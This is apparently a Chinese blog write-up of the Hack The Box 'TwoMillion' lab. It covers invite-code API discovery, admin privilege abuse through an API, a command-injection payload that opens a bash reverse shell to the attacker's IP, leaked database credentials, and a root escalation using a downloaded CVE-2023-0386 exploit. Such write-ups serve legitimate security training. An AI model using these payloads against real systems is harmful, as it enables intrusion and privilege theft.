HTB-TwoMillion


HTB-TwoMillion

一、思路概要

1.主站邀请码注册功能页面js文件发现可用API;

2.通过API获得邀请码注册用户并登录;

3.发现admin认证的API泄露;

4.通过API实现越权,并且发现命令执行漏洞;

5.命令执行反弹shell获取www-data权限;

6.邮件信息泄露,用CVE-2023-0386(OverlayFS提权)获取root权限。

二、信息收集

nmap扫描

端口很简单,但得到一个域名,域名写入本地hosts文件

none
echo "10.10.11.221 2million.htb" >> /etc/hosts

浏览器访问

下滑,有个如下join的界面

点击Join HTB,进入如下界面,需要输入邀请码

查看页面源码,发现验证码正确后会跳转到/register

直接访问/register,访问成功,但是没有邀请码还是无法注册

刚刚邀请码页面的源码有个/js/inviteapi.min.js文件,用https://beautifier.io/格式化得到如下代码

有两个API,curl访问2million.htb/api/v1/invite/how/to/generate

有一段data是ROT13编码,转换如下

none
Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb \/ncv\/i1\/vaivgr\/trarengr
ROT13转换后:
In order to generate the invite code, make a POST request to /api/v1/invite/generate

又得到一个API,看API名字像是生成邀请码,curl访问2million.htb/api/v1/invite/generate

有一段像base64的编码,解码如下,得到邀请码

shell
┌──(root💀kali)-[~/Desktop]
└─# echo "MVRJVE0tUkxGVFktVzFDT1AtQ0RCOVQ=" | base64 -d  
1TITM-RLFTY-W1COP-CDB9T

返回输入邀请码的界面/invite,输入邀请码后注册用户

注册成功后会跳转到登录页面,登录进入如下界面

在左侧LabsAccess界面,如下

审查元素,看到有API

浏览器访问/api目录,看有没有API泄露,看到/api/v1

再访问/api/v1,泄露了API

三、API越权

user的就不管了,直接尝试访问admin的API,GET访问/api/v1/admin/auth,返回false

none
GET /api/v1/admin/auth

POST访问/api/v1/admin/vpn/generate,返回401未认证响应码

none
POST /api/v1/admin/vpn/generate

PUT访问/api/v1/admin/settings/update,返回Invalid content type

none
PUT /api/v1/admin/settings/update

那就修改请求包Content-Type字段值为json格式再次访问,提示没有email参数

在请求包数据部分用json格式设置email参数再次访问,提示没有is_admin参数

再设置is_admin参数,又提示is_admin参数需要是0或1

设置is_admin参数值为1,注意不能用引号,又提示email没找到

设置email为刚注册的eamil,返回用户数据,应该是认证成功了

再GET访问/api/v1/admin/auth,message变为true

再POST访问/api/v1/admin/vpn/generate,依旧是按照响应包提示,修改请求包的Content-Type字段和数据部分,得到如下响应,生成了vpn连接的凭据,然后发现这个位置有个命令执行,username字段值应该是直接被拼接到linux的shell命令中了,类似于generate_vpn.sh [username]

四、命令执行

修改请求中的username字段值如下,注意命令和注释符#之间需要有个空格,执行命令成功

于是用如下请求数据反弹shell

none
{"username":"wa0er;bash -c 'bash -i >& /dev/tcp/10.10.14.7/9898 0>&1' #"}

本地监听,成功反弹

在当前目录的环境变量文件.env找到admin用户密码

none
DB_USERNAME=admin
DB_PASSWORD=SuperDuperPass123

尝试发现,既可shell登录,也可ssh登录

shell登录

ssh登录

none
ssh admin@10.10.11.221

ssh登录发现有个提示You have mail,用find / -name 'mail' 2>/dev/null查找名字为mail的文件或目录,然后在/var/mail/admin文件中找到一封邮件

提示有Linux内核的CVE,关键词OverlayFS / FUSE

五、CVE-2023-0386(OverlayFS提权)

google搜索关键字:OverlayFS / FUSE exploit

漏洞分析:https://securitylabs.datadoghq.com/articles/overlayfs-cve-2023-0386/

exploit:https://github.com/xkaneiki/CVE-2023-0386/

本地下载exploit,然后用wget传到目标靶机

本地开启http服务

none
python3 -m http.server 80

目标靶机下载、解压、编译、执行

none
cd /tmp
wget http://10.10.14.7/CVE-2023-0386-main.zip
unzip CVE-2023-0386-main.zip
cd CVE-2023-0386-main
make all	#编译有报错,不影响
./fuse ./ovlcap/lower ./gc

另开一个终端连接ssh,到/tmp/CVE-2023-0386-main目录下执行./exp,成功获取root权限

Over!


文章作者: wa0er
版权声明: 本博客所有文章除特別声明外,均采用 CC BY-NC 4.0 许可协议。转载请注明来源 wa0er !
评论
Powered By Valine
v1.5.2